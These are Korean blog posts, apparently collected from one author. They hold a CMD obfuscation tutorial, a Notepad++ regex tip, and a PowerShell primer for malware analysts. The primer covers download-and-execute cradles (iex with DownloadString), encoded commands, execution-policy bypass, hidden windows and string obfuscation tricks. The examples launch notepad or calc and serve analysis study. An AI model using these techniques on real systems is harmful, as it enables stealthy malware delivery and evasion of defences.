  파워셸에 "`"가 있다면 batch에는 "^"가 있다. 이것도 마찬가지로 "^^" 같이 2개 이상 사용할 수는 없지만 문자열마다 끼워넣어 놓으면 가독성에 상당한 지장이 간다.


set x=notepad & echo %x%|cmd

set x=not^ep^ad & echo %x%|c^md


  그리고 쌍따옴표 즉 """도 있다. 아래와 같이 개수만 맞다면 공백이든 특정 한 문자든 """"를 사용할 수 있다.


set x=notepad & echo %x%|c"m"d

set x=notepad & echo %x%|cm""d


  물론 아래와 같이 명령에 사용하는 것은 안되고 문자열에 써야 한다.

  

set x=notepad & echo %x%"|"cmd

set x=notepad "&" echo %x%|cmd


  마지막으로 ","와 ";"도 있다. 이건 문자열 내부에 사용될 수는 없지만 공백 같은 곳에 사용될 수 있다.


set x=notepad & echo %x%|;cmd

set x=notepad &, echo %x%|cmd

set x=notepad &;;;;,,,;; echo %x%|cmd


  가독성에 지장을 주는 것으로는 다음과 같이 괄호도 있다. 아래는 간단한 예시이지만 더욱 복잡하게 사용할 수 있다.


set x=notepad & (echo %x%)|cmd

set x=notepad & (((echo %x%)))|cmd





2. Substring

  cmd도 파워셸과 같이 Substring을 이용한 트릭이 존재한다.


%COMSPEC%

  C:\WINDOWS\system32\cmd.exe

  기본 결과이다.

%COMSPEC:~0%

  C:\WINDOWS\system32\cmd.exe

  0번째부터 전체를 의미하므로 결국 전체 문자열이 반환된다.

%COMSPEC:~-27%

  C:\WINDOWS\system32\cmd.exe

  전체 글자가 27개이기 때문에 뒤에서 27 즉 0부터 문자열이 반환되어 같은 결과를 얻게 된다.

%COMSPEC:~0,27%

  C:\WINDOWS\system32\cmd.exe

  여기서 두 번째 27은 개수를 의미하므로 결국 전체가 된다.

%COMSPEC:~-27,27%

  C:\WINDOWS\system32\cmd.exe

  위와 같이 0부터 27개의 문자가 반환된다.

%COMSPEC:~0,1000%

  C:\WINDOWS\system32\cmd.exe

  큰 수를 넣더라도 정상적인 결과까지 반환된다.

%COMSPEC:~   0,        27%

  C:\WINDOWS\system32\cmd.exe

  공백은 무시된다.

%COMSPEC:cmd=notepad%

  C:\WINDOWS\system32\notepad.exe

  위의 문법과 같이 ":" 이후 A=B 식으로 A를 B로 치환시킬 수 있다.


  위의 방식을 이용하여 파워셸에서 환경변수의 한 글자씩 따와서 iex 문자열을 만들듯이 같은 방식으로 문자열을 치환할 수 있다. 조금 더 난이도 있는 문법을 보자.

  

> set | findstr PSM

PSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules


> FOR /F "delims=s\ tokens=5" %a IN ('set^|findstr PSM')DO %a


  set 명령을 사용하면 설정된 환경변수들을 확인할 수 있다. (비슷하게 여러 문자열들을 보여주는 명령으로 ftype과 assoc이 있다) 이 중에서 PSM이 들어간 라인을 보면 환경변수 PSModulePath가 있다. 해당 환경변수는 파워셸의 경로명을 담고 있다.

  

  "('set^|findstr PSM')" 이 부분을 통해서 결국 환경변수 PSModulePath의 값 즉 실제 경로명을 획득할 수 있다. 참고로 ^가 붙은 이유는 "set | findstr" 명령 사용 시 "set|" 처럼 붙이면 문법 에러가 나지만 "set |"처럼 띄어 써도 에러가 나서 쓰레기 문자인 ^을 넣어서 이러한 에러를 회피하기 위한 것으로 보인다.

  

  어쨌든 경로명에서 "delims=s\" 즉 문자 s와 \를 기준으로 토큰을 나눈다. 이렇게 나누면 5번째 토큰은 "PowerShell"이 되며 이것이 %a가 되고 마지막 "DO %a"를 통해 PowerShell이 실행된다. 결국 해당 라인에서는 powershell 문자열이 사용되지 않고도 파워셸을 실행할 수 있는 것이다.

  




3. 난독화

  지금까지 여러 기본 방식들을 살펴보았고 여기서는 이것을 응용한 방식을 보겠다.

  

  cmd에서는 "/V:ON" 옵션이 존재한다. 이것은 지금까지 우리가 환경변수를 사용하기 위해 써왔던 % 대신 !를 사용할 수 있게 해준다. 즉 %windir% 대신 !windir!을 사용할 수 있다.

  

cmd /c "set x=notepad & echo !x!|cmd"

  %x% 대신 !x!를 사용하면 에러가 발생한다.


cmd /V:ON /c "set x=notepad & echo !x!|cmd"

  /V:ON 옵션을 주면 !x!를 사용할 수 있다.

  

cmd /V:ON /C "set str=cal.ex && FOR %A IN (0 1 2 0 3 4 5 4 100) DO set final=!final!!str:~%A,1!&& IF %A==100 CALL echo %final:~-8%"


  여기서 굳이 /V:ON 옵션을 사용한 이유는 "set final=!final!!str:~%A,1!" 부분 때문인데, "set final=%final%%str:~%A,1%"와 같이 사용하면 내부의 %A 때문에 제대로 인식하지 못해 에러가 발생하기 때문이다.

  

  어쨌든 str을 "cal.ex"로 정하고 FOR - IN - DO - CALL 문을 통해서 제어가 진행된다. 0, 1, 2 번째는 순서대로 cal이고, 다시 0번째인 c를 붙여서 calc를 만드는 방식이다. final은 FOR 문의 결과들인 각 한 글자씩 더해져서 ("!final!!str:~%A,1!") calc.exe가 되고, 마지막에 %A가 100일 때 끝난다. 마지막으로 CALL을 통해 명령을 실행한다. 참고로 마지막에 !final!은 "!final!calc.exe"가 되며 실제 "calc.exe" 문자열은 8글자이고 마지막에 붙어있기 때문에 위의 방식을 사용한다.

  

  여기서는 echo를 통해 변수를 출력하게만 했지만 악성코드에서는 echo를 빼고 직접 실행시키게 된다. 

  

cmd /V:ON /C "set str=cal.ex && FOR %A IN (0 1 2 0 3 4 5 4 100) DO set final=!final!!str:~%A,1!&& IF %A==100 CALL %final:~-8%"


  아래와 같이 redirect하여 cmd로 실행시킬 수도 있다.

  

cmd /V:ON /C "set str=cal.ex && FOR %A IN (0 1 2 0 3 4 5 4 100) DO set final=!final!!str:~%A,1!&& IF %A==100 CALL %final:~-8%|cmd"





4. 기타 문법

-  %comspec%은 기본적으로 cmd.exe를 의미한다.

-  cmd에서 앞 부분에 의미없는 명령어를 넣어도 상관이 없다. 예를들어

    > cmd 쓰레기 쓰레기 쓰레기 & cmd /v /s 실제 명령

-  &는 무조건 이후 명령어를 실행하며 &&는 이전 명령어가 성공했을 때 이후 명령어를 실행한다.



Posted by SanseoLab

  여기에는 노트패트 프로그램을 이용한 대량 데이터 처리 자동화에 대해서 정리한다. 그때 그때 괜찮다고 생각되는 부분을 추가할 것이다.



1. 전체 개행 문자 (엔터) 지우기

  "바꾸기" 즉 Ctrl+H를 누른다. 이후 "찾을 내용"에 "\r\n"을 입력하고 "바꿀 내용"은 빈 공간으로 둔다. 즉 개행을 없애는 것이다. 아랫 부분의 "검색 모드"를 "정규 표현식"으로 선택한다. 이제 오른쪽의 "모두 바꾸기" 버튼을 클릭하면 개행이 모두 사라진 결과를 확인할 수 있다.



2. 공백 이전의 문자열 지우기

  "바꾸기" 즉 Ctrl+H를 누른다. 이후 "찾을 내용"에 "^\S+\s+(.+)$"를 입력하고 "바꿀 내용"은 "$1"로 지정한다. 아랫 부분의 "검색 모드"를 "정규 표현식"으로 선택한다. 이제 오른쪽의 "모두 바꾸기" 버튼을 클릭하면 공백 이전의 문자열이 모두 사라진 결과를 확인할 수 있다.


  즉 다음과 같은 내용을,

----

$ ls -al

$ cd ~

----

  아래와 같이 바꾸어 준다.

----

ls -al

cd ~

----


  참고로 "^"는 라인의 시작을, "$"는 라인의 끝을 의미한다. 그리고 \S+는 1개 이상의 비공백(공백이 아닌) 문자를, "\s+"는 1개 이상의 공백 (스페이스 등) 문자를 의미한다. 마지막으로 "(.+)"는 "그룹 1"을 지정하는데, 이것은 1개 이상의 문자를 (결국 해당 라인의 나머지 문자들) 의미한다. 정리해서 말하자면 라인의 시작, 그리고 1개 이상의 비공백 문자, 이후 1개 이상의 공백 문자, 다음으로 1개 이상의 문자부터 끝까지를 정의한다. 


  이에 따라 한 라인에 대하여 시작부터 끝까지 비공백 문자(들), 공백 문자(들), 나머지 문자들(그룹 1)로 나누었다. 그리고 바꿀 문자로는 앞에서 지정한 "그룹 1"인 "$1"을 지정함으로써 결론적으로 처음 공백 및 그 이전의 문자열을 지운 나머지 결과를 얻을 수 있게 된다.



3. 특정 문자열이 들어간 라인 삭제

  "바꾸기" 즉 Ctrl+H를 누른다. 이후 "찾을 내용"에 ".*대상문자열.*[\r]?[\n]"와 같이 적는다. 여기서 "대상문자열"은 이 문자열이 들어간 라인을 삭제하고 싶을 때 지정할 특정 문자열이다. 이후 "바꿀 내용"은 공백으로 둔다. 아랫 부분의 "검색 모드"를 "정규 표현식"으로 선택한다. 이제 오른쪽의 "모두 바꾸기" 버튼을 클릭하면 해당 문자열이 포함된 라인이 모두 사라진 결과를 확인할 수 있다.



Posted by SanseoLab



목차



0. 개요

1. 기본

.... 1.1 기본

.... 1.2 Cmdlet

.... 1.3 Script

.... 1.4 환경변수

2. 파라미터

3. 기본 방식

.... 3.1 다운로드

.... 3.2 파워셸 상에서 바이너리 실행

.... 3.3 cmd 상에서 바이너리 실행

.... 3.4 인코딩 / 디코딩

4. 스크립트 실행

.... 4.1 Powershell

.... 4.2 CMD

5. 실행 정책

.... 5.1 실행 정책 개요

.... 5.2 실행 정책 우회

6. 난독화

.... 6.1 대소문자

.... 6.2 따옴표

.... 6.3 -f

.... 6.4 Back Ticks

.... 6.5 공백

.... 6.6 아스키

.... 6.7 replace

.... 6.8 환경 변수 이용

.... 6.9 Get-Variable

.... 6.10 etc

7. 인코딩 방식

.... 7.1 GzipStream

.... 7.2 DeflateStream

.... 7.3 SecureString

8. 악성코드

.... 8.1 악성코드 다운로더 및 실행

.... 8.2 스크립트 실행

.... 8.3 고급

9. 참고





0. 개요

  최근들어서 PowerShell을 이용한 악성코드가 만들어지고 있다. 악성코드 분석을 공부하는 입장에서는 많은 분량의 파워셸을 전체적으로 공부할 수도 없으며 밑도끝도 없이 바로 파워셸 악성코드 분석을 다루는 문서들을 보기에도 기본 지식이 부족하여 힘든 면이 있다. 그래서 이 문서에서는 파워셸에 대한 기본적인 내용부터 시작하여 악성코드 분석적인 면에서 다루기로 하겠다. 이를 통해서 이것만 읽어도 파워셸에 대한 기본적인 내용을 포함하여 여러 분석 문서들을 이해하는데 어려움이 없고 또한 추후에 추가적인 기술을 다루는 문서들을 공부하는데 있어도 도움이 될 수 있도록 하고 싶었다.


  먼저 파워셸에 대한 개략적인 개념 및 사용 방법을 다룰텐데 주로 악성코드에서 사용되는 파워셸의 명령어 위주로 기능과 관련된 다루도록 하겠다. 그리고 악성코드에서 파워셸이 자체적으로 어떤 방식을 통해 이용되는지 즉 어떻게 실행되는지 어떤 방식으로 사용되는지를 다루기로 한다.





1. 기본

1.1 기본

  기본적으로 셸이기 때문에 우리에게 익숙한 Bash와 유사하다고 여기면 될 것이고 스크립트 언어를 지원하는 등의 특징도 같다. 그렇기 때문에 여기서는 파워셸 만의 특징 위주로 설명하고자 한다.


  파워셸은 .NET Framework를 기반으로 만들어졌기 때문에 명령어 프로그램을 실행시키는 다른 셸들과는 차이점이 있다. 즉 객체 지향 스크립트로서 셸에서 .NET Frmework의 기능을 사용할 수 있는 것이다. 이 개념들을 기반으로 차례대로 설명하기로 하겠다.



1.2 Cmdlet

  Bash 같은 셸에서 기본 명령어들을 제공하듯이 파워셸에서도 기본 명령어가 제공된다. 이것을 cmdlet이라고 하는데 당연히 바이너리가 아니며 명령어처럼 구체적인 기능을 제공하는 .NET 클래스이다. 즉 내부적으로는 .NET Framework Class Library를 이용해서 구현한 것이다. 기본적인 cmdlet부터 악성코드에서 주로 사용되는 것까지 알아보자.


  참고로 앞에 powershell을 붙이는 것은 이것이 파워셸 내부가 아닌 cmd 등의 환경에서 실행되었다는 것을 의미한다. 만약 파워셸 내부였다면 powershell을 붙이지 않고 직접 실행할 수 있다. 악성코드 관련된 내용이기 때문에 이렇게 통일하였으며 더 자세한 사항은 마지막에 다룰 것이다.


> powershell Get-Location

이것은 Bash의 pwd 처럼 현재 디렉터리를 보여준다.


> powershell Set-Location <Location>

이것은 Bash의 cd 처럼 현재 디렉터리를 이동할 때 사용된다.


> powershell Write-Output <string>

이것은 Bash의 echo와 같은 기능을 한다.


> powershell Get-ExecutionPolicy

실행 정책을 보여준다. 실행 정책은 뒤에서 자세히 다루기로 한다.


> powershell Get-wmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct

> powershell Get-wmiObject -Class Win32_ComputerSystem

각각 AntiVirus 제품 정보 얻기, 가상환경 검사. [ ref : https://www.slideshare.net/JackyMinseokCha/power-shell-20161118 ]


  Get-WmiObject cmdlet을 이용하여 WMI 즉 시스템 관리 작업을 위한 명령도 사용할 수 있다. 악성코드에서도 위의 경우처럼 유용한 정보를 얻기 위해 사용되기도 한다. WMI와 관련된 내용은 다음 링크를 확인하도록 한다. [ http://sanseolab.tistory.com/49 ] 참고로 파워셸을 이용한 제대로된 악성코드들은 WMI를 상당히 활용하는 것으로 보인다.



1.3 Script

  스크립트에 대해서는 익숙하지도 않으며 잘 알지도 못하므로 아주 간단하게 필요한 것만 정리하겠다. 그리고 파워셸만을 이용한 악성코드는 아직 많이 존재하지 않는 것으로 여겨지며 일반적으로 간단한 다운로더 역할을 수행한다고 한다. 


  아마 조금씩 추가될 것 같다. 먼저 파워셸 스크립트 파일은 확장자가 .ps1이다. 그리고 위에서 보았지만 변수는 키워드 $를 붙여서 사용한다.


  여기서는 예제를 통해 파라미터 부분을 보기로 한다. func_1이라는 함수를 정의하는데 처음 파라미터 정의 부분만 보겠다.


function func_1 {

  Param (

    [Parameter(Position=0,Mandatory=$True)] [String] $Module,

    [Parameter(Position=1,Mandatory=$True)] [String] $Procedure);

  );

...

}


  처음 보면 그리고 다음과 같이 적어져 있다면 뭐가 뭔지 모를 것이다.

function func_1{Param([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure););...}


  차례대로 설명해 보자면 Param() 내부에 파라미터를 정의한다. 파라미터의 개수는 변수 즉 $가 붙은 것을 이용해 구분하자. 앞의 [Parameter()] 부분은 파라미터의 속성을 의미하는데 Position은 순서를, Mandatory=$True는 강제로 입력 받게 만들어 준다. 이후 System.String 클래스 형태로 인자를 받는다. 파라미터는 변수 $Module, $Procedure라는 이름으로 사용할 수 있다.



1.4 환경 변수

  위에서 변수 선언은 $ 키워드를 사용한다는 것을 알게 되었다. 여기서는 파워셸의 환경 변수들 목록을 보겠다.


--------------------------------------------------------------------

ALLUSERSPROFILE         C:\ProgramData

APPDATA         C:\Users\<user>\AppData\Roaming

CLSID

CommonProgramFiles C:\Program Files\Common Files

CommonProgramFiles(x86) C:\Program Files (x86)\Common Files

COMPUTERNAME

ComSpec         C:\WINDOWS\system32\cmd.exe

FPS_BROWSER_APP_PROFILE_STRING Internet Explorer

FPS_BROWSER_USER_PROFILE_ST... Default

HOMEDRIVE C:

HOMEPATH                        \Users\<user>

LOCALAPPDATA                   C:\Users\<user>\AppData\Local

NUMBER_OF_PROCESSORS 2

OneDrive

OS         Windows_NT

PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL

PROCESSOR_ARCHITECTURE AMD64

ProgramData C:\ProgramData

ProgramFiles C:\Program Files

ProgramFiles(x86)         C:\Program Files (x86)

PROMPT         $P$G

PSModulePath C:\Users\<user>\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell...

PUBLIC C:\Users\Public

SESSIONNAME Console

SystemDrive C:

SystemRoot         C:\WINDOWS

TEMP         C:\Users\longa\AppData\Local\Temp

TMP         C:\Users\longa\AppData\Local\Temp

User ID

USERDOMAIN

USERDOMAIN_ROAMINGPROFILE

USERNAME         <user>

USERPROFILE C:\Users\<user>

VBOX_MSI_INSTALL_PATH

VS140COMNTOOLS

windir C:\WINDOWS

--------------------------------------------------------------------


> Get-ChildItem Env:

환경 변수들의 전체 목록은 위의 명령어를 통해 확인 가능하다.


> $Env:os

이것은 각 환경 변수를 확인할 수 있다.





2. 파라미터

  앞에서 특별히 언급하지는 않았지만 중요한 내용이 등장했는데 바로 인자라는 개념이다. 파워셸 내부에서야 상관 없지만 cmd 같은 외부 프로그램에서 파워셸을 실행할 때 powershell 또는 powershell.exe 다음에 인자를 넣을 수 있다. 또한 중요한 점은 파워셸은 인자를 받을 때 대소문자를 구분하지 않으며 뒤에 자동으로 *를 넣는 것처럼 받아들인다. 즉 " -ExecutionPolicy Bypass "라는 인자는 " -EXeCUTIo BYpasS "로 입력해도 같은 것으로 받아들인다는 의미이다. 악성코드에서는 위와 같은 방식으로 자주 사용되는 것으로 보아 난독화의 개념으로써 이용되는듯 하다. 이제부터는 각 인자를 알아보도록 하겠다.


-WindowStyle Hidden

  스크립트 실행 시에 파워셸 콘솔 윈도우가 보여지는데 -WindowStyle을 Hidden으로 넣으면 보이지 않게 설정할 수 있다. 하지만 실행 방식에 따라 이것을 붙이지 않고도 콘솔 윈도우가 보이지 않는 방식도 있다.

  "-wind hidden" "-win hidden" "-w hidden"


-NoProfile

  사용자의 Profile Script의 위치는 파워셸에서 $profile을 입력하면 확인할 수 있다. Profile Script는 파워셸 실행 시 자동으로 실행된다. -NoProfile은 이것을 실행시키지 않게 한다.

  "-nop" "-NoP"


-NoLogo

  파워셸이 로고 배너 없이 실행된. 이해가 잘 가지 않는 것이 어차피 -WindowStyle Hidden을 넣으면 윈도우가 봉지 않기 때문이다.

  "-nol"


-NonInteractive

  파워셸 콘솔은 Non Interactive 모드로 실행한다. 즉 프롬프트로 사용자의 입력을 받지 않는다.


-ExecutionPolicy

  실행 정책 설정. 뒤에서 설명한다.

  "-ep Bypass"


-EncodedCommand

  뒤에서 설명한다.

  "-enc" "-e"





3. 기본 방식

3.1 다운로드

3.1.1 System.Net.Webclient 객체의 DownloadFile 메소드


> powershell (New-Object System.Net.Webclient).DownloadFile('<address>', 'aaa.jpg')


  앞에서도 언급하였듯이 파워셸에서는 .NET Framework의 클래스를 사용할 수 있다고 하였다. 여기서 New-Object cmdlet은 System.Net.Webclient 객체를 생성하는 역할을 하며 명령어 전체적으로는 이 객체의 DownloadFile() 메소드를 실행한다. 즉 DownloadFile() 메소드를 실행하여 특정 웹사이트 주소에서 파일을 다운로드 받아 이름을 'aaa.jpg'로 저장한다.

  일반적으로 악성코드에서 exe 파일을 다운로드할 때 사용된다. 이후에는 start-process 등을 이용해 exe 파일을 실행할 것이다.


3.1.2 System.Net.Webclient 객체의 DownloadString 메소드


> powershell -command "iex(New-Object Net.WebClient).DownloadString('http:../aaa.ps1')"


  앞의 DownloadFile() 방식이 악성코드에서 exe 파일을 다운로드할 때 사용된다면, DownloadString()은 파워셸 스크립트를 다운로드할 때 사용된다. 하지만 차이점이 있는데 DownloadFile()이 파일을 직접 다운로드하는 방식인 반면 DownloadString()은 메모리 상으로 존재한다. 그래서 이것과 아래에서 살펴볼 Invoke-Expression을 사용할 경우 실제 시스템에 떨어지는 파일 없이 메모리 상으로 다운로드 받아서 바로 실행할 수 있다.


3.1.3 bitstransfer


> powershell if($host.version.major -lt 3){import-module bitstransfer} start-bitstransfer -source http://wjradburn.com/software/PEview.zip -destination $env:temp\PEview.zip; start-process $env:temp\PEview.zip


  위와 같은 방식도 사용될 수 있다.



3.2 파워셸 상에서 바이너리 실행

3.2.1 기본


PS > .\main.exe

  결과가 파워셸 화면에 보여진다.


3.2.2 Invoke-Expression Cmdlet


PS > $command = "Start-Process '$env:USERPROFILE\Desktop\main.exe'"

PS > Invoke-Expression $command


  Invoke-Expression은 받은 문자열을 명령어로서 실행시킨다. 위의 경우는 예제이고 실제 악성코드에서 사용하는 방식은 뒤에서 다룰 것이다. 참고로 iex는 Invoke-Expression을 의미한다.


3.2.3 Invoke-Item Cmdlet

  해당 항목에 대한 디폴트 행위를 수행한다. 즉 txt 파일이면 메모장으로 열어주며 exe라면 실행, ps1이라면 더블 클릭했을 때와 마찬가지로 메모장으로 열어준다.


3.2.4 Invoke-Command Cmdlet

  아래에서 Script Block을 실행하는데 사용되었지만 일반적으로 관리에 사용되는 Cmdlet으로 보인다.


3.2.5 Start-Process


PS > Start-Process .\main.exe

  결과가 새로운 프로세스로 실행되서 보여진다.


3.2.6 기타


PS > $cmd='.\main.exe'; &($cmd)

  &를 사용한다.


PS > (New-Object -comObject Shell.Application).ShellExecute('main.exe')

  COM 오브젝트를 사용할 수도 있다.



3.3 cmd 상에서 바이너리 실행

  다음은 cmd 상에서 파워셸을 실행하면서 바이너리를 인자로 주고 실행하는 방식이다.


> powershell.exe .\main.exe

  내부(결과가 파워셸 화면에 보여진다)


> powershell.exe Invoke-Item .\main.exe

  외부(결과가 새로운 프로세스로 실행되서 보여진다)


> powershell.exe Start-Process .\main.exe

  외부(결과가 새로운 프로세스로 실행되서 보여진다)


> powershell.exe "$cmd='.\main.exe'; &($cmd)"

  내부. &를 사용한다.


> powershell.exe "$scriptblock={.\main.exe}; invoke-command -scriptblock $scriptblock"

  내부.


> powershell "$ps = New-Object System.Diagnostics.Process; $ps.StartInfo.FileName = '.\main.exe'; $ps.start()"

  외부. [Diagnostics.Process] Start()를 사용하여 실행할 수 있다.


> powershell Start-Process "$env:USERPROFILE\Desktop\main.exe"

  경로 설정.


> powershell (New-Object -com Shell.Application).ShellExecute('main.exe')

  간단하게 com으로 입력해도 된다.



3.4 인코딩 / 디코딩

> powershell -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAVQBzAGUAcgBzAFwAbABvAG4AZwBhAFwARABlAHMAawB0AG8AcABcAG0AYQBpAG4ALgBlAHgAZQAnAA==


  이것은 base64로 인코딩된 문자열을 명령어로서 받아들인다. 예제를 들어서 설명해보겠다.

--------------------------------------------------------------------

> powershell

PS > $command = "Start-Process '$env:USERPROFILE\Desktop\main.exe'"

PS > $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

PS > $encodedCommand = [Convert]::ToBase64String($bytes)

PS > $encodedCommand

UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAVQBzAGUAcgBzAFwAbABvAG4AZwBhAFwARABlAHMAawB0AG8AcABcAG0AYQBpAG4ALgBlAHgAZQAnAA==

PS > exit

C:\Users> powershell -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAVQBzAGUAcgBzAFwAbABvAG4AZwBhAFwARABlAHMAawB0AG8AcABcAG0AYQBpAG4ALgBlAHgAZQAnAA==

--------------------------------------------------------------------

  위와 같은 방식으로 명령어를 암호화할 수 있고 -EncodedCommand를 통해 이 암호화된 명령어를 실행시킬 수 있다.


  먼저 이 부분을 보자.


[System.Text.Encoding]::Unicode.GetBytes($command)


  왼쪽 항목은 System.Text 네임스페이스(NameSpace)의 Encoding 클래스(Class)를 먼저 지정한다. 그리고 Encoding 클래스의 GetBytes() 메소드(Method)를 사용한다는 것을 의미한다. 앞에서 $command 변수에는 우리가 원하던 명령어 즉 문자열이 들어가 있었다. 이것을 GetBytes()를 통해 읽은 후 Encoding 클래스의 Unicode 프로퍼티(Property) 형태로 반환한다. 즉 $bytes 변수에는 유니코드 값으로 해당 명령어가 저장된 것이다. 직접 설명해 보겠다.


PS > $command = "Start-Process '$env:USERPROFILE\Desktop\main.exe'"

PS > $command

Start-Process 'C:\Users\longa\Desktop\main.exe'


  이번에는 ASCII 프로퍼티를 이용해 아스키 값으로 반환시켜 보겠다.


PS > $bytes = [System.Text.Encoding]::ASCII.GetBytes($command)

PS > $bytes

83

116

97

114

116

...


  이런 식의 결과가 나온다. 83은 16진수로 0x53으로서 대문자 S이며 116은 0x74 즉 소문자 t이다. 아까 저장한 명령어가 Start-Process 등이었으므로 이해할 수 있을 것이다. 이제 Unicode 프로퍼티를 이용해 보자.


PS > $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

PS > $bytes

83

0

116

0

97

0

114

0

...


  유니코드 형태여서 그런지 값들 사이에 0이 들어가 있다. 이제 다음 명령어를 보자. Convert 클래스의 ToBase64String() 메소드를 이용하여 Base64 문자열로 변환한다.


PS > $encodedCommand = [Convert]::ToBase64String($bytes)


  아직 닷넷과 파워셸 관련 내용을 잘 모르지만 이정도면 기본 문법은 충분해 보인다.





4. 스크립트 실행

4.1 Powershell

  파워셸의 경우 스크립트를 직접 실행하는 것은 정책적으로 막혀있다. 즉 cmd에서 인자로 명령을 주고 파워셸을 실행하는 것은 가능하지만, 파워셸 커맨드 라인 및 cmd에서 직접 ps1 스크립트를 실행하는 것은 정책적으로 막혀 있다.


PS > .\aaa.ps1

  실행할 수 없다.


> powershell.exe -ExecutionPolicy Bypass

PS > .\aaa.ps1

  위과 같이 powershell을 실행할 때 부터 실행 정책을 주어야 한다.



4.2 CMD

> powershell.exe -ExecutionPolicy Bypass .\aaa.ps1

  위의 과정을 한 번에 처리할 수 있다.


> powershell.exe -ExecutionPolicy Bypass -File aaa.ps1

  -File 옵션을 사용한다.


> powershell.exe get-content .\aa.ps1 | powershell.exe





5. 실행 정책

5.1 실행 정책 개요

  파워셸은 셸 형태로 명령을 받는 방식 외에도 스크립트 형태로 존재할 수 있다. 여기서 언급해야 할 것이 실행 정책이다. 이 실행 정책을 확인하는 cmdlet이 Get-ExecutionPolicy이며 우리는 디폴트 실행 정책이 Restricted인 것을 볼 수 있다. 이것은 혼란스러운 개념일 수 있으므로 예를 들어서 설명해 보겠다. 우리가 batch 파일 즉 .bat 파일을 만들었다고 치자. 이것 또한 스크립트이며 더블 클릭이나 cmd를 통해 실행 시에 batch 파일이 실행되는 것을 알 수 있다. 하지만 파워셸 스크립트 파일인 .ps1은 Restricted이기 때문에 정책상 실행되지 않는다. 대신 에디터 프로그램이 실행되는 것을 알 수 있다. 심지어 cmd에서도 마찬가지이다.



5.2 실행 정책 우회

> powershell.exe -ExecutionPolicy Bypass .\aaa.ps1

  위에서 언급한 방식이다.


> TYPE aaa.ps1 | powershell

  type 명령어를 이용한다.


> powershell get-content .\aa.ps1 | powershell


> powershell "& {Get-Content .\aa.ps1 | iex}"


> powershell -command "iex(New-Object Net.WebClient).DownloadString('http:../aaa.ps1')"


  위의 명령어는 먼저 DownloadString()을 통해 웹에서 파워셸 스크립트를 문자열로 얻어오며 (DownloadFile()이 아니다) 이후 이것을 iex() 즉 Invoke-Expression에 넣는데 이 말은 이 문자열을 명령어로서 실행시킨다는 의미이다. aaa.ps1 스크립트에는 악의적인 내용이 들어있을 것이다.





6. 난독화

  파워셸에서 사용되는 난독화는 굉장히 다양하며 여기에 나온 것이 전부는 아닐 것이다. 잘 정리된 링크를 알게되어 간단하게나마 여기에도 정리하려고 한다. 해당 링크는 다음과 같다. [ https://www.endgame.com/blog/technical-blog/deobfuscating-powershell-putting-toothpaste-back-tube ]



6.1 대소문자


6.2 따옴표

  'som'+'est'+'ring'


6.3 -f

  '{2}{0}{1}' -f 'str','ing','some'

  $7d0mK6 = [TyPE](\"{1}{0}{3}{2}\" -f 'on','ENVIr','Nt','mE') ;  

  do{&(\"{1}{0}\" -f'ep','sle') 33;

  &(\"{0}{2}{3}{1}\"-f 'St','ocess','art','-Pr') $Des\7897799.exe

  $aa = [TyPE]("{1}{0}{3}{2}" -f 'on','ENVIr','Nt','mE');


6.4 Back Ticks

  s`om`estr`in`g


  참고로 Back Ticks는 모든 경우에 사용될 수 있는 것이 아니다. 다음 문자 앞에는 `를 붙이는 것을 피해야 한다.


`0 : Null

`a : Alert

`b : Backspace

`f : Form feed

`n : New line

`r : Carriage return

`t : Horizontal tab

`v : Vertical tab


  예를들어 아래와 같이 Application의 o 앞에 `을 붙여도 정상적으로 실행된다.

powershell (New-Object -com Shell.Applicati`on).ShellExecute('main.exe')

  하지만 다음과 같이 n 앞에 `을 붙이면 다른 문자로 인식되기 때문에 정상적으로 인식되지 않는다.

powershell (New-Object -com Shell.Applicatio`n).ShellExecute('main.exe')


6.5 공백

  'some' +'str'+ 'ing'


6.6 아스키

  [cHar]92  ('\')


6.7 replace


6.8 환경 변수 이용

  $shellid : Microsoft.PowerShell


6.9 Get-Variable

  Get-Variable '*MdR' 명령을 이용해서 문자열 "MaximumDriveCount"를 구한 후 여기서 문자열 "iex" 추출하는 방식이다.

  .((gET-varIAble '*MDR*').nAME[3,11,2]-JoiN'')([chAR[]] ( 36,112, 97 ...

  결국 아래와 같이 iex로 사용될 수 있다.

  .(iex)(....)


6.10 etc

  관련 내용은 아니지만 다음 방식이 가능할 정도로 문자열에 대한 자유도가 지원된다.


> powershell C:\??*?\*3?\c?lc.?x?

  ㄴ calc.exe 실행

> powershell C:\*\*2\n??e*d.*

  ㄴ notepad.exe 실행

> powershell C:\*\*2\t?s*r.*

  ㄴ taskmgr.exe 실행





7. 인코딩 방식

  여기서는 악성코드에서 주로 사용되는 인코딩 방식을 다룬다.



7.1 GzipStream

  파워셸 명령어를 사용하는 악성 매크로 파일들을 동적으로 분석하다 보면 다음과 같은 명령들을 자주 볼 수 있다.

  

  ... Invoke-Expression $(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIACnYKloCA7VWbW ...

  

  이것은 파워셸 스크립트를 Gzip으로 압축한 후 다시 Base64로 인코딩한 형태이다. 굳이 Base64를 이용해 인코딩한 이유는 Gzip을 이용해 인코딩한 경우 결과가 Hex 형태인데 파워셸 명령에서 이대로 사용할 수는 없기 때문에 Base64를 통해 다시 문자열 형태로 만들어주는 것이다. 이에 따라 다시 Base64를 이용해 디코딩한 후 Gzip으로 압축 해제하여 복호화된 명령을 실행하는 방식이다. 참고로 해당 문자열을 Base64로 디코딩한 후 (결과는 Hex 형태일 것이다) 파일로 만들고 이것을 7z 같은 툴로 압축 해제시켜 주면 원본 파워셸 명령어를 볼 수 있다.

